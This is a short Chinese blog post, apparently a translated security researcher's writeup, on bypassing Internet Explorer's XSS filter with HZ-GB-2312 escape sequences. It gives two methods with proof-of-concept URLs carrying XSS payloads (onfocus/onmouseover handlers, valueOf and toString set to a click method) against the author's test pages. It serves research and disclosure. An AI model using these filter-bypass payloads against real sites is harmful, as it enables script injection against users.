利用HZ-GB-2312转义序列绕过IE的XSS过滤器

本文详细介绍了如何利用HZ-GB-2312编码的转义序列来绕过Internet Explorer的XSS过滤器,包括两种不同的绕过方法及实际PoC示例,适用于安全研究人员和开发人员了解相关漏洞。

利用HZ-GB-2312转义序列绕过IE的XSS过滤器

我想分享一种利用HZ-GB-2312编码的转义序列来绕过IE XSS过滤器的方法。

要使用此向量,我们需要目标页面的Content-Type头中未指定字符集。

绕过方法1

PoC: http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA 无需用户交互版本: http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

[0x0A]“是HZ-GB-2312转义序列。似乎XSS过滤器对”[0x0A]“做了例外处理。

如果Content-Type头有正确的字符集,则无效: http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

另一方面,如果meta标签有正确的字符集,仍然有效: http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

绕过方法2

“~{“也是HZ-GB-2312转义序列。我们可以用它来绕过。我们可以在字符串字面量中调用同源方法。

PoC在此: http://l0.cm/xssfilter_hz_poc.html

请点击"go"按钮。您可以确认element.click方法被调用。

“click"从以下代码调用: http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//

您也可以使用"toString”: http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

就这些。下个月见!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计